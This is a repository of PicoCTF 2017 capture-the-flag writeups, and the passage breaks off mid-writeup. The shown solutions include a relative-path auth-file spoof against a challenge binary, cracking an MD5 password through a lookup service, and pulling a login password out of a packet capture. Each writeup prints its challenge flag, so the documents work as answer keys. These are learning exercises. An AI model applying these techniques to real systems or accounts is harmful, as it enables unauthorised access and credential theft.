├── .gitignore ├── README.md ├── level-1 ├── binary-exploitation │ ├── bash-loop │ │ └── README.md │ └── just-no │ │ └── README.md ├── cryptography │ ├── computeaes │ │ ├── README.md │ │ └── data │ │ │ └── clue.txt │ ├── computersa │ │ └── README.md │ ├── hash101 │ │ └── README.md │ ├── keyz │ │ └── README.md │ └── substitute │ │ ├── README.md │ │ └── data │ │ └── cipher.txt ├── forensics │ ├── digital-camouflage │ │ ├── README.md │ │ └── data │ │ │ └── data.pcap │ └── special-agent-user │ │ ├── README.md │ │ └── data │ │ └── data.pcap ├── master-challenge │ └── README.md ├── misc │ ├── internet-kitties │ │ └── README.md │ ├── leaf-of-the-forest │ │ └── README.md │ ├── leaf-of-the-tree │ │ └── README.md │ ├── looooong │ │ └── README.md │ ├── piazza │ │ └── README.md │ └── world-chat │ │ └── README.md ├── reverse-engineering │ ├── hex2raw │ │ └── README.md │ └── raw2hex │ │ └── README.md └── web-exploitation │ └── what-is-web │ └── README.md ├── level-2 ├── binary-exploitation │ ├── flagsay-1 │ │ ├── README.md │ │ └── data │ │ │ ├── flagsay-1 │ │ │ └── flagsay-1.c │ ├── guess-the-number │ │ ├── README.md │ │ └── data │ │ │ ├── guess_num │ │ │ └── guess_num.c │ ├── ive-got-a-secret │ │ ├── README.md │ │ └── data │ │ │ ├── secret │ │ │ └── secret.c │ ├── shells │ │ ├── README.md │ │ └── data │ │ │ ├── shells │ │ │ └── shells.c │ ├── shellz │ │ ├── README.md │ │ └── data │ │ │ ├── shellz │ │ │ └── shellz.c │ └── vr-gear-console │ │ └── README.md ├── cryptography │ ├── leaked-hashes │ │ ├── README.md │ │ └── data │ │ │ └── hashdump.txt │ └── sorandom │ │ ├── README.md │ │ └── data │ │ └── sorandom.py ├── forensics │ ├── just-keyp-trying │ │ ├── README.md │ │ └── data │ │ │ └── data.pcap │ ├── little-school-bus │ │ ├── README.md │ │ └── data │ │ │ └── littleschoolbus.bmp │ └── meta-find-me │ │ ├── README.md │ │ └── data │ │ └── image.jpg ├── master-challenge │ ├── README.md │ └── data │ │ └── file ├── misc │ ├── mystery-box │ │ ├── README.md │ │ └── data │ │ │ ├── MysteryBox.png │ │ │ └── note.txt │ └── yarn │ │ ├── README.md │ │ └── data │ │ └── yarn ├── reverse-engineering │ ├── a-thing-called-stack │ │ ├── README.md │ │ └── data │ │ │ └── assembly.s │ └── programmers-assemble │ │ ├── README.md │ │ └── data │ │ └── assembly.s └── web-exploitation │ └── my-first-sql │ └── README.md └── level-3 ├── binary-exploitation ├── chat-logger │ └── data │ │ ├── chat-logger │ │ └── server.c └── config-console │ ├── README.md │ └── data │ ├── config-console.c │ └── console ├── cryptography ├── broadcast │ ├── README.md │ └── data │ │ └── clue.txt └── hashchain │ ├── README.md │ └── data │ └── hcexample.py ├── forensics └── connect-the-wigle │ ├── README.md │ └── data │ └── wigle ├── reverse-engineering ├── coffee │ ├── README.md │ └── data │ │ └── freeThePickles.class ├── jsut-duck-it-up │ ├── README.md │ └── data │ │ └── file └── much-ado-about-hacking │ ├── README.md │ └── data │ ├── MuchAdoAboutHacking.spl │ └── ending.txt └── web-exploitation ├── a-happy-union └── README.md ├── biscuits └── README.md └── no-eyes └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | temp/* 2 | .vscode/* -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PicoCTF 2017 Writeups 2 | 3 | Writeups of some of PicoCTF 2017 challenges. 4 | 5 | ## Disclaimer 6 | 7 | Despite being a developer for a while, I'm not a security expert, for example my knowledge of assembly is purely academical. Therefore certain problems have been solved in "othodox" ways, if you have any suggestion or correction let me know. 8 | 9 | So my advice to newcomers like me is: do not submit blindly the flag, read the process and try to understand and reproduce it, step by step. 10 | 11 | ## Legend 12 | 13 | | Icon | Meaning | 14 | | --- | --- | 15 | | 🕑 | Unfinished | 16 | | ❓ | Solved but writeup missing | 17 | 18 | ## Level 1 19 | 20 | * Forensics 21 | * [Digital Camouflage](./level-1/forensics/digital-camouflage) 22 | * [Special Agent User](./level-1/forensics/special-agent-user) 23 | * Cryptography 24 | * [Keyz](./level-1/cryptography/keyz) 25 | * [Substitute](./level-1/cryptography/substitute) 26 | * [Hash101](./level-1/cryptography/hash101) 27 | * [ComputeAES](./level-1/cryptography/computeaes) 28 | * [ComputeRSA](./level-1/cryptography/computersa) 29 | * Reverse engineering 30 | * [Hex2Raw](./level-1/reverse-engineering/hex2raw) 31 | * [Raw2Hex](./level-1/reverse-engineering/raw2hex) 32 | * Web exploitation 33 | * [What Is Web](./level-1/web-exploitation/what-is-web) 34 | * Binary exploitation 35 | * [Bash Loop](./level-1/binary-exploitation/bash-loop) 36 | * [Just No](./level-1/binary-exploitation/just-no) 37 | * Misc 38 | * [Internet Kitties](./level-1/misc/internet-kitties) 39 | * [Piazza](./level-1/misc/piazza) 40 | * [Leaf Of The Tree](./level-1/misc/leaf-of-the-tree) 41 | * [looooong](./level-1/misc/looooong) 42 | * [Leaf Of The Forest](./level-1/misc/leaf-of-the-forest) 43 | * [World Chat](./level-1/misc/world-chat) 44 | * [Master Challenge - Lazy Dev](./level-1/master-challenge) 45 | 46 | ## Level 2 47 | 48 | * Forensics 49 | * [Meta Find Me](./level-2/forensics/meta-find-me) 50 | * [Little School Bus](./level-2/forensics/little-school-bus) 51 | * [Just Keyp Trying](./level-2/forensics/just-keyp-trying) 52 | * Cryptography 53 | * [SoRandom](./level-2/cryptography/sorandom) 54 | * [LeakedHashes](./level-2/cryptography/leaked-hashes) 55 | * [Weird RSA](./level-2/cryptography/weird-rsa) 🕑 56 | * Reverse engineering 57 | * [A Thing Called the Stack](./level-2/a-thing-called-stack) 58 | * [Programmers Assemble](./level-2/programmers-assemble) 59 | * Web exploitation 60 | * [My First SQL](./level-2/web-exploitation/my-first-sql) 61 | * [TW_GR_E1_ART](./level-2/web-exploitation/tw_gr_e1_art) 🕑 62 | * [TW_GR_E2_EoTDS](./level-2/web-exploitation/tw_gr_e2_eotds) 🕑 63 | * Binary exploitation 64 | * [Shellz](./level-2/binary-exploitation/shellz) 65 | * [Shells](./level-2/binary-exploitation/shells) 66 | * [Guess The Number](./level-2/binary-exploitation/guess-the-number) 67 | * [Ive Got A Secret](./level-2/binary-exploitation/ive-got-a-secret) 68 | * [Flagsay 1](./level-2/binary-exploitation/flagsay-1) 69 | * [VR Gear Console](./level-2/binary-exploitation/vr-gear-console) 70 | * Misc 71 | * [Yarn](./level-2/misc/yarn) 72 | * [Mystery Box](./level-2/misc/mystery-box) 73 | * [Master Challenge - Missing Identity](./level-2/master-challenge) 74 | 75 | ## Level 3 76 | 77 | * Forensics 78 | * [Connect The Wigle](./level-3/forensics/connect-the-wigle) 79 | * Cryptography 80 | * [HashChain](./level-3/cryptography/hashchain) 81 | * [Broadcast](./level-3/cryptography/broadcast) 🕑 82 | * Reverse engineering 83 | * [JSut Duck It Up](./level-3/reverse-engineering/jsut-duck-it-up) 84 | * [Coffee](./level-3/reverse-engineering/coffee) 85 | * [Much Ado About Hacking](./level-3/reverse-engineering/much-ado-about-hacking) 86 | * Web exploitation 87 | * [Biscuits](./level-3/web-exploitation/biscuits) 88 | * [A Happy Union](./level-3/web-exploitation/a-happy-union) 89 | * [No Eyes](./level-3/web-exploitation/no-eyes) 90 | * [TW_GR_E3_GtI](./level-3/web-exploitation/tw_gr_e3_gti) 🕑 91 | * Binary exploitation 92 | * [Config Console](./level-3/binary-exploitation/config-console) 🕑 93 | * [Enter The Matrix](./level-3/binary-exploitation/enter-the-matrix) 🕑 94 | * [Chat Logger](./level-3/binary-exploitation/chat-logger) 🕑 95 | * [Master Challenge - WAR](./level-3/master-challenge) 🕑 96 | -------------------------------------------------------------------------------- /level-1/binary-exploitation/bash-loop/README.md: -------------------------------------------------------------------------------- 1 | # Bash Loop 2 | ## Level 1 - binary exploitation - 40 points 3 | 4 | ### Description 5 | > We found a program that is hiding a flag but requires you to guess the number it is thinking of. Chances are Linux has an easy way to try all the numbers... Go to /problems/77ad2ec283d51f7b1ddc449ffe109e0b and try it out! 6 | 7 | ### Hints 8 | > * Either use SSH or use the Web Shell to get onto the shell server and navigate to the correct directory. Then do a quick Google search on 'bash loops'. You may need to use grep to filter out the responses as well! 9 | 10 | ### Solution 11 | 12 | Connect with `ssh` then `cd` into `/problems/77ad2ec283d51f7b1ddc449ffe109e0b`. Executing `bashloop` prints this: 13 | 14 | ``` 15 | $ ./bashloop 16 | What number am I thinking of? It is between 0 and 4096 17 | ``` 18 | 19 | The executable take as argument your guess, if it's matched to the number hardcoded will print the flag: 20 | 21 | ``` 22 | $ ./bashloop 1000 23 | Nope. Pick another number between 0 and 4096 24 | ``` 25 | 26 | We can cycle all numbers from 0 to 4096 with a `for` loop, calling the program and `grep`ping the results: 27 | 28 | ```sh 29 | $ for i in {0..4096}; do ./bashloop $i; done | grep flag 30 | Yay! That's the number! Here be the flag: 9963698b982d491536dbb9cec73a417e 31 | ``` 32 | 33 | ### Flag 34 | ``` 35 | 9963698b982d491536dbb9cec73a417e 36 | ``` -------------------------------------------------------------------------------- /level-1/binary-exploitation/just-no/README.md: -------------------------------------------------------------------------------- 1 | # Just No 2 | ## Level 1 - binary exploitation - 40 points 3 | 4 | ### Description 5 | > A program at /problems/f49abea6827cafa20a035340d3812d09 has access to a flag but refuses to share it. Can you convince it otherwise? 6 | 7 | ### Hints 8 | > * Check out the difference between relative and absolute paths and see if you can figure out how to use them to solve this challenge. Could you possibly spoof another auth file it looks at instead...? 9 | 10 | ### Solution 11 | 12 | Connect with `ssh` then `cd` into `/problems/f49abea6827cafa20a035340d3812d09`. Executing `justno` prints this: 13 | 14 | ``` 15 | $ ./justno 16 | auth file says no. So no. Just... no. 17 | ``` 18 | 19 | It talks about an `auth` file: it's in the same directory, you can `cat` it but is readonly, so we can't just edit it. There is also the source in `justno.c` file: 20 | 21 | ```c 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | int main(int argc, char **argv) { 29 | FILE* authf = fopen("../../problems/f49abea6827cafa20a035340d3812d09/auth","r"); //access auth file in ../../../problems/f49abea6827cafa20a035340d3812d09 30 | if(authf == NULL){ 31 | printf("could not find auth file in ../../problems/f49abea6827cafa20a035340d3812d09/\n"); 32 | return 0; 33 | } 34 | char auth[8]; 35 | fgets(auth,8,authf); 36 | fclose(authf); 37 | if(strcmp(auth,"no")!=0){ 38 | FILE* flagf; 39 | flagf = fopen("/problems/f49abea6827cafa20a035340d3812d09/flag","r"); 40 | char flag[64]; 41 | fgets(flag,64,flagf); 42 | printf("Oh. Well the auth file doesn't say no anymore so... Here's the flag: %s",flag); 43 | fclose(flagf); 44 | }else{ 45 | printf("auth file says no. So no. Just... no.\n"); 46 | } 47 | return 0; 48 | } 49 | ``` 50 | 51 | So the executable uses relative path to read the `auth` file, we can trick it recreating the same directory structure in our home directory and call `justno` from there. Let's craft the `auth` file first: 52 | 53 | ```sh 54 | $ mkdir -p ~/problems/f49abea6827cafa20a035340d3812d09 55 | $ echo yes > ~/problems/f49abea6827cafa20a035340d3812d09/auth 56 | ``` 57 | 58 | After write the file move into that directory and execute `justno` using absolute path: 59 | 60 | ``` 61 | $ cd ~/problems/f49abea6827cafa20a035340d3812d09 62 | $ /problems/f49abea6827cafa20a035340d3812d09/justno 63 | Oh. Well the auth file doesn't say no anymore so... Here's the flag: 6882905ccde9eeceac01f98cb0260fc2 64 | ``` 65 | 66 | ### Flag 67 | 68 | ``` 69 | 6882905ccde9eeceac01f98cb0260fc2 70 | ``` -------------------------------------------------------------------------------- /level-1/cryptography/computeaes/README.md: -------------------------------------------------------------------------------- 1 | # ComputeAES 2 | ## Level 1 - cryptography - 50 points 3 | 4 | ### Description 5 | > You found this [clue](./data/clue.txt) laying around. Can you decrypt it? 6 | 7 | ### Hints 8 | > * Try online tools or python 9 | 10 | ### Solution 11 | 12 | On this challenge we have to decrypt some data encrypted with [AES](https://it.wikipedia.org/wiki/Advanced_Encryption_Standard). We can use `openssl` command, but before we have to the key in hex format with this command: 13 | 14 | ```sh 15 | $ echo `echo 6v3TyEgjUcQRnWuIhjdTBA== | base64 --decode` | xxd -g 0 -p | sed 's/..$//' 16 | eafdd3c8482351c4119d6b8886375304 17 | ``` 18 | 19 | The `sed` stage is required because there is a `\n` that we don't want. 20 | 21 | Then we use `openssl` and the key given from the previous command to decrypt the cipher: 22 | 23 | ```sh 24 | $ echo "rW4q3swEuIOEy8RTIp/DCMdNPtdYopSRXKSLYnX9NQe8z+LMsZ6Mx/x8pwGwofdZ" | openssl enc -d -aes-128-ecb -nopad -nosalt -base64 -iv 0 -K eafdd3c8482351c4119d6b8886375304 25 | flag{do_not_let_machines_win_983e8a2d}__________% 26 | ``` 27 | 28 | ### Flag 29 | 30 | ``` 31 | flag{do_not_let_machines_win_983e8a2d} 32 | ``` -------------------------------------------------------------------------------- /level-1/cryptography/computeaes/data/clue.txt: -------------------------------------------------------------------------------- 1 | Encrypted with AES in ECB mode. All values base64 encoded 2 | ciphertext = rW4q3swEuIOEy8RTIp/DCMdNPtdYopSRXKSLYnX9NQe8z+LMsZ6Mx/x8pwGwofdZ 3 | key = 6v3TyEgjUcQRnWuIhjdTBA== -------------------------------------------------------------------------------- /level-1/cryptography/computersa/README.md: -------------------------------------------------------------------------------- 1 | # ComputeRSA 2 | ## Level 1 - cryptography - 50 points 3 | 4 | ### Description 5 | > RSA encryption/decryption is based on a formula that anyone can find and use, as long as they know the values to plug in. Given the encrypted number 150815, d = 1941, and N = 435979, what is the decrypted number? 6 | 7 | ### Hints 8 | > * decrypted = (encrypted) ^ d mod N 9 | 10 | ### Solution 11 | 12 | The hint contains the full solution, we can retrieve the decrypted number with Python: 13 | 14 | ```sh 15 | $ python -c "print pow(150815, 1941) % 435979" 16 | 133337 17 | ``` 18 | 19 | ### Flag 20 | 133337 -------------------------------------------------------------------------------- /level-1/cryptography/hash101/README.md: -------------------------------------------------------------------------------- 1 | # Hash101 2 | ## Level 1 - cryptography - 50 points 3 | 4 | ### Description 5 | > Prove your knowledge of hashes and claim a flag as your prize! Connect to the service at shell2017.picoctf.com:33628 6 | > 7 | > UPDATED 16:12 EST 1 Apr. 8 | 9 | ### Hints 10 | > * All concepts required to complete this challenge, including simple modular math, are quickly found by googling :) 11 | 12 | ### Solution 13 | 14 | Connect to the service using `nc`: 15 | 16 | ``` 17 | $ nc shell2017.picoctf.com 33628 18 | 19 | Welcome to Hashes 101! 20 | 21 | There are 4 Levels. Complete all and receive a prize! 22 | 23 | 24 | -------- LEVEL 1: Text = just 1's and 0's -------- 25 | All text can be represented by numbers. To see how different letters translate to numbers, go to http://www.asciitable.com/ 26 | 27 | TO UNLOCK NEXT LEVEL, give me the ASCII representation of 011100000111011101101110011010010110111001100111 28 | 29 | > 30 | ``` 31 | 32 | We can use Python to perform conversions: 33 | 34 | ```python 35 | import binascii 36 | 37 | INPUT = '011100000111011101101110011010010110111001100111' 38 | 39 | ascii = binascii.unhexlify('%x' % int('0b' + INPUT, 2)) 40 | print ascii 41 | ``` 42 | 43 | This will print the solution to the first question: 44 | ``` 45 | >pwning 46 | Correct! Completed level 1 47 | 48 | ------ LEVEL 2: Numbers can be base ANYTHING ----- 49 | Numbers can be represented many ways. A popular way to represent computer data is in base 16 or 'hex' since it lines up with bytes very well (2 hex characters = 8 binary bits). Other formats include base64, binary, and just regular base10 (decimal)! In a way, that ascii chart represents a system where all text can be seen as "base128" (not including the Extended ASCII codes) 50 | 51 | TO UNLOCK NEXT LEVEL, give me the text you just decoded, pwning, as its hex equivalent, and then the decimal equivalent of that hex number ("foo" -> 666f6f -> 6713199) 52 | 53 | hex> 54 | ``` 55 | 56 | Extend the previous Python script to get the answer: 57 | 58 | ```python 59 | print ascii.encode('hex') 60 | print int(ascii.encode('hex'), 16) 61 | ``` 62 | 63 | Type the two new strings in order: 64 | 65 | ``` 66 | hex>70776e696e67 67 | Good job! 70776e696e67 to ASCII -> pwning is pwning 68 | Now decimal 69 | dec>123658255822439 70 | Good job! 123658255822439 to Hex -> 70776e696e67 to ASCII -> pwning is pwning 71 | Correct! Completed level 2 72 | 73 | ----------- LEVEL 3: Hashing Function ------------ 74 | A Hashing Function intakes any data of any size and irreversibly transforms it to a fixed length number. For example, a simple Hashing Function could be to add up the sum of all the values of all the bytes in the data and get the remainder after dividing by 16 (modulus 16) 75 | 76 | TO UNLOCK NEXT LEVEL, give me a string that will result in a 4 after being transformed with the mentioned example hashing function 77 | ``` 78 | 79 | The third level is pretty different, we have to generate a string that once hashed is equal to 4. The hashing function that they will use is described above: they will sum the ASCII value of every character and return the remainder of the division by 16. 80 | 81 | So our string must be have the sum `16 * N + 4`. The simplest string we can pass is `D`, ASCII number 68: 82 | 83 | ``` 84 | >D 85 | Correct! Completed level 3 86 | 87 | --------------- LEVEL 4: Real Hash --------------- 88 | A real Hashing Function is used for many things. This can include checking to ensure a file has not been changed (its hash value would change if any part of it is changed). An important use of hashes is for storing passwords because a Hashing Function cannot be reversed to find the initial data. Therefore if someone steals the hashes, they must try many different inputs to see if they can "crack" it to find what password yields the same hash. Normally, this is too much work (if the password is long enough). But many times, people's passwords are easy to guess... Brute forcing this hash yourself is not a good idea, but there is a strong possibility that, if the password is weak, this hash has been cracked by someone before. Try looking for websites that have stored already cracked hashes. 89 | 90 | TO CLAIM YOUR PRIZE, give me the string password that will result in this MD5 hash (MD5, like most hashes, are represented as hex digits): 91 | 3e43409c0ad006912219e703bc9aa099 92 | ``` 93 | 94 | To "reverse" the MD5 hash we can use a [rainbow table](https://en.wikipedia.org/wiki/Rainbow_table): there are a lot of online services with rainbow tables ready to search, I used [this](https://hashkiller.co.uk/md5-decrypter.aspx) and the result was `f4n0n`: 95 | 96 | ``` 97 | >f4n0n 98 | Correct! Completed level 4 99 | You completed all 4 levels! Here is your prize: 953ddad21bc137ebd78021a585a840ad 100 | ``` 101 | 102 | ### Flag 103 | ``` 104 | 953ddad21bc137ebd78021a585a840ad 105 | ``` -------------------------------------------------------------------------------- /level-1/cryptography/keyz/README.md: -------------------------------------------------------------------------------- 1 | # Keyz 2 | ## Level 1 - cryptography - 20 points 3 | 4 | ### Description 5 | > While webshells are nice, it'd be nice to be able to login directly. To do so, please add your own public key to ~/.ssh/authorized_keys, using the webshell. Make sure to copy it correctly! The key is in the ssh banner, displayed when you login remotely with ssh, to shell2017.picoctf.com 6 | 7 | ### Hints 8 | > * There are plenty of tutorials out there. This one covers key generation: https://confluence.atlassian.com/bitbucketserver/creating-ssh-keys-776639788.html 9 | > * Then, use the web shell to copy/paste it, and use the appropriate tool to ssh to the server using your key 10 | 11 | ### Solution 12 | 13 | Simply add your public key into `~/.ssh/authorized_keys` of your user on the server using web terminal. 14 | 15 | You can find your public key using this command: 16 | 17 | ```sh 18 | $ cat ~/.ssh/id_rsa.pub 19 | ssh-rsa AAAAB3N[...]x69I1QfB Davide@Macinino.local 20 | ``` 21 | 22 | Once copied open the file `~/.ssh/authorized_keys` on web terminal with `vi` or `nano` and paste your key, save and exit. 23 | 24 | Now you can connect directly to the server with `ssh`, the flag will be in the MOTD: 25 | 26 | ``` 27 | $ ssh -i ~/.ssh/id_rsa [username]@shell2017.picoctf.com 28 | Congratulations on setting up SSH key authentication! 29 | Here is your flag: who_needs_pwords_anyways 30 | ``` 31 | 32 | ### Flag 33 | ``` 34 | who_needs_pwords_anyways 35 | ``` -------------------------------------------------------------------------------- /level-1/cryptography/substitute/README.md: -------------------------------------------------------------------------------- 1 | # Substitute 2 | ## Level 1 - cryptography - 40 points 3 | 4 | ### Description 5 | > A wizard (he seemed kinda odd...) handed me [this](./data/cipher.txt). Can you figure out what it says? 6 | 7 | ### Hints 8 | > * There are tools that make this easy this. 9 | 10 | ### Solution 11 | 12 | At a glance you can recognize some distinctive pattern of a substitution cipher, as the title suggests. We can focus on some snippets to estabilish which algorithm they used. In the middle of the text there is a string arranged in a pattern similar to a date: 13 | 14 | ``` 15 | RTETDZTK 6, 1995 16 | ``` 17 | 18 | We can perform some [frequency analysis](https://en.wikipedia.org/wiki/Frequency_analysis), suppose some words and start to build a pattern to use in the `tr` (translate) command: 19 | 20 | ``` 21 | $ cat cipher.txt | tr '[RTEDZK]' '[DECMBR]' 22 | MIE YSAU OL OYGFSBMGDERFCRBHMGCALSOQEMIOL... 23 | ``` 24 | 25 | Then we can continue iterating over translated text and make more suppositions. These were those of my path: 26 | 27 | | Original | Translation | 28 | | --- | --- | 29 | | **FGX**EMBER | **NOV**EMBER | 30 | | '**L** | '**S** | 31 | | **B**OVES | **M**OVES | 32 | | MODERN**O**SM | MODERN**I**SM | 33 | | **MI**E | **TH**E | 34 | | O**Y** | O**F** | 35 | | O**W**TSIDE | O**U**TSIDE | 36 | | FLA**U** | FLA**G** | 37 | | B**B** | B**Y** | 38 | | O**HH**ORTUNITIES | O**PP**ORTUNITIES | 39 | | **C**OR**Q** | **W**OR**K** | 40 | | E**V**PRESSION | E**X**PRESSION | 41 | 42 | After enough iterations I had this command: 43 | 44 | ``` 45 | $ cat cipher.txt | tr '[RTEDZKFGXLOMIYWSUBHCQV]' '[DECMBRNOVSITHFULGYPWKS]' 46 | HE FLAG IS IFONLYMODERNCRYPTOWASLIKETHIS... 47 | ``` 48 | A more sane method to retrieve the flag is using [quipquip.com](https://quipqiup.com/), paste the cipher and wait for completion. 49 | 50 | ### Flag 51 | ``` 52 | IFONLYMODERNCRYPTOWASLIKETHIS 53 | ``` -------------------------------------------------------------------------------- /level-1/cryptography/substitute/data/cipher.txt: -------------------------------------------------------------------------------- 1 | MIT YSAU OL OYGFSBDGRTKFEKBHMGCALSOQTMIOL. UTFTKAMTR ZB DAKQGX EIAOF GY MIT COQOHTROA HAUT GF EASXOF AFR IGZZTL. ZT CTKT SGFU, MIT YSACL GF A 2005 HKTLTFM MODTL MIAF LMADOFA GK A CTTQSB LWFRAB, RTETDZTK 21, 1989 1990, MIT RKTC TROMGKL CAL WHKGGMTR TXTKB CGKSR EAF ZT YGWFR MIT EGFMOFWTR MG CGKQ AM A YAOMIYWS KTHSOTL CITKT IGZZTL, LMBST AOD EASXOF, AMMAEQ ZGMI LORTL MG DAKQL, "CIAM RG EGFMKGSSOFU AF AEMWAS ZGAKR ZGVTL OF MIT HKTHAKTFML FADT, OL ODHWSLOXT KADHAUTL OF CIOEI ASCABL KTYTKTFETL MIT HALLCGKR, CIOEI DGFTB, AFR MITB IAR SOMMST YKGFM BAKR IOL YKWLMKAMTR EGSGK WFOJWT AZOSOMB COMI AFR OFROLHTFLAMT YGK MTAEI GMITK LMWROTL, AKT ACAKRL ZARUTL, HWZSOLITR ZTYGKT CTSS AL A YOKT UKGLL HSAFL CTKT GKOUOFASSB EIAKAEMTKL OF MIT LMKOH MG CIOEI LTTD MG OM CITF MTDHTKTR OF AFR IASSGCOFU MITB'KT LODHSB RKACOFU OF UOXTL GF" HKOFEOHAS LHOMMST ROLMGKM, KTARTKL EGDOEL AKT WLT, CAMMTKLGF MGGQ MCG 16-DGFMIL AYMTK KTLOLMAQTL A DGKT EKTAM RTAS MG EASXOF GYMTF IGZZTL MG ARDOML "LSODB, "ZWM OM'L FADTR A FOUIM GWM LIT OL HGOFM GY FGM LTTF IGZZTL MIT ZGGQL AM MIAM O KTDAOFOFU ZGGQ IADLMTK IWTB AKT AHHTAKAFET: RTETDZTK 6, 1995 DGD'L YKADTL GY EASXOF UOXTF A CAUGF, LGDTMODTL MIAM LG OM'L YAMITKT'L YADOSB FG EAFETSSAMOGFLIOH CAL HKTLTFML YKGD FGXTDZTK 21, 1985 SALM AHHTAK AZLTFET OF AFGMITKCOLT OM IAHHB MG KWF OM YGK MIOL RAR AL "A SOMMST MG MGSTKAMT EASXOF'L YADOSB RKACF ASDGLM EGDDTFRTR WH ZTOFU HTGHST OFLMAFET, UTM DAKKOTR ZB A RAFET EASXOF'L GWMSAFROLOFU MIT FTCLHAHTK GK MAZSGOR FTCLHAHTK ZWLOFTLL LIGC OL GF!" AFR LHKOFML GY EIOSRKTF'L RAR'L YKWLMKAMTR ZB MWKF IWDGK, CAL HWZSOE ROASGU MITKT'L FGM DWEI AL "'94 DGRTKFOLD" CAMMTKLGF IAL RTSOUIML GY YAFMALB SOYT CAMMTKLGF LABL LTKXTL AL AF AKMOLML OL RTLMKWEMOGF ZWLOFTLL, LHAETYAKTK GY MIT GHHGKMWFOMOTL BGW ZGMI A MGHOE YGK IOL IGDT MGFUWT-OF-EITTQ HGHWSAK MIAM OM CAL "IGF" AFR JWAKMTK HAUT DGKT LHAEOGWL EAFETSSAMOGF MIT HAOK AKT ESTAKSB OF HLBEIOE MKAFLDGUKOYOTK'L "NAH" LGWFR TYYTEM BGW MIOFQTK CAMMTKLGF ASLG UKTC OFEKTROZST LHAET ZWBL OF EGDDGFSB CIOST GMITKCOLT OM'L FADT OL FGMAZST LMGKBSOFT UAXT MIT GHHGKMWFOMOTL BGW EAFETSSAMOGF MIT "EASXOF GYYTK MG DAQT IOD OFEGKKTEM AFLCTKL CAMMTK AKMCGKQ GMITK GYMTF CIOEI OL TXORTFM MG GMITK LMKOH OL MG MITOK WLT GY KWSTL MIAM LIGCF GF LAFROYTK, CIG WLTL A EKGCJWOSS ZT LTTF "USWTR" MG MIT GFSB HTKL AFR IOL YAMITK LWHHGKM OL SWFEISOFT UAXT MITLT MIOF A BTAK OF DWSMODAMTKOAS AFR GZMAOF GF LAFMALB, IOL WLT, CAMMTKL ROASGUWT OL AF "AKMOLM'L LMAMWL AL "A ROD XOTC OF MIT TLLTFMOASSB MG DAQT IOD LTTD MG OFESWRTR MIAM EASXOF OL AF GRR ROASGUWT DGLM GY MIT ESWZ IAL TVHKTLLOGF GWMLORT AXAOSAZST MG 2 | -------------------------------------------------------------------------------- /level-1/forensics/digital-camouflage/README.md: -------------------------------------------------------------------------------- 1 | # Digital Camouflage 2 | ## Level 1 - forensics - 50 points 3 | 4 | ### Description 5 | > We need to gain access to some routers. Let's try and see if we can find the password in the captured network data: [data.pcap](./data/data.pcap). 6 | 7 | ### Hints 8 | > * It looks like someone logged in with their password earlier. Where would log in data be located in a network capture? 9 | > * If you think you found the flag, but it doesn't work, consider that the data may be encrypted. 10 | 11 | ### Solution 12 | 13 | With the `file` command we can confirm that the file is a `tcpdump` capture file: 14 | 15 | ``` 16 | $ file data.pcap 17 | data.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144) 18 | ``` 19 | 20 | One of the most famous software to handle `.pcap` files is Wireshark. We can open the file with it, filter the `POST` requests with `http.request.method == "POST"` and look for the password. 21 | 22 | We can solve it using `tshark`, the Wireshark CLI: 23 | 24 | ```sh 25 | $ tshark -r data.pcap -Y "http.request.method==POST" -Tfields -e urlencoded-form.value 26 | grassers,cHJ2cUJaTnFZdw== 27 | ``` 28 | 29 | The password has the final `==` revealing that it is a base64 encoded string, we can decode with this command: 30 | 31 | ```sh 32 | $ echo cHJ2cUJaTnFZdw== | base64 -D 33 | prvqBZNqYw% 34 | ``` 35 | 36 | Be careful to remove the final `%` added by the command. 37 | 38 | ### Flag 39 | ``` 40 | prvqBZNqYw 41 | ``` -------------------------------------------------------------------------------- /level-1/forensics/digital-camouflage/data/data.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-1/forensics/digital-camouflage/data/data.pcap -------------------------------------------------------------------------------- /level-1/forensics/special-agent-user/README.md: -------------------------------------------------------------------------------- 1 | # Special Agent User 2 | ## Level 1 - forensics - 50 points 3 | 4 | ### Description 5 | > We can get into the Administrator's computer with a browser exploit. But first, we need to figure out what browser they're using. Perhaps this information is located in a network packet capture we took: [data.pcap](./data/data.pcap). Enter the browser and version as "BrowserName BrowserVersion". NOTE: We're just looking for up to 3 levels of subversions for the browser version (ie. Version 1.2.3 for Version 1.2.3.4) and ignore any 0th subversions (ie. 1.2 for 1.2.0) 6 | 7 | ### Hints 8 | > * Where can we find information on the browser in networking data? Maybe try [reading up on user-agent strings](http://www.useragentstring.com/). 9 | 10 | ### Solution 11 | 12 | Like in [digital-camouflage](../digital-camouflage/README.md) we can define `data.pcap` format using `file` command: 13 | 14 | ```sh 15 | $ file data.pcap 16 | data.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144) 17 | ``` 18 | 19 | The key is part of the `User-Agent` string, we can retrieve all strings using `tshark`: 20 | 21 | ```sh 22 | $ tshark -r data.pcap -Y http -Tfields -e http.user_agent | sort | uniq 23 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F 24 | Wget/1.16 (linux-gnu) 25 | ``` 26 | 27 | The user agent string we want is the second one and the browser used is Chrome 34.0.1847. 28 | 29 | ### Flag 30 | ``` 31 | Chrome 34.0.1847 32 | ``` -------------------------------------------------------------------------------- /level-1/forensics/special-agent-user/data/data.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-1/forensics/special-agent-user/data/data.pcap -------------------------------------------------------------------------------- /level-1/master-challenge/README.md: -------------------------------------------------------------------------------- 1 | # Lazy Dev 2 | ## Level 1 - Master Challenge - 50 points 3 | 4 | ### Description 5 | > I really need to login to this [website](http://shell2017.picoctf.com:43393/), but the developer hasn't implemented login yet. Can you help? 6 | 7 | ### Hints 8 | > * Where does the password check actually occur? 9 | > * Can you interact with the javascript directly? 10 | 11 | ### Solution 12 | 13 | The vulnerability on this challenge is not a real vulnerability, instead is the (really) bad practice to perform form checking on frontend, where we can change the code in runtime to do nasty things. 14 | 15 | Open the 